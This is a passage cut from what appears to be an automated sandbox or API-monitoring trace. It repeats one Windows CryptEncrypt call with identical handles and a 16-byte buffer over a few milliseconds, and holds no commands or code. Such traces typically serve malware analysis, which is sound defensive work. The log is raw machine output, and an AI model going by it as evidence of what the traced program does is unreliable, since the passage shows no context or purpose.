pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.541] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.541] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.541] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.541] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.541] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.541] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.541] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.542] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.542] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.542] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.542] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.542] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.542] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.542] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.542] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.542] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.542] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.542] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.542] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.542] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.542] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.542] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.542] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.542] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.543] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.543] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.543] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.543] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.543] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.543] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.543] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.543] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.543] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.543] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.543] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.543] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.544] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.544] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.544] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.544] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.544] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.544] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.544] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.544] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.544] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.544] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.544] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.544] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.544] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.544] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.545] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.545] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.545] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.545] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.545] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.545] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.545] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.545] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.545] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.545] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.546] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.546] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.546] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.546] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.546] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.546] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.546] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.546] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.546] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.546] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.546] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.546] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.546] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.547] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.547] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.547] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.547] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.547] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.547] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.547] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.547] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.547] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.547] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.547] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.547] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.547] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.547] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.547] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.547] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.548] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.548] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.548] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.548] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.548] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.548] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.548] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.548] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.548] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.548] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.548] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.548] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.548] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.548] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.548] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.548] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.548] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.548] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, 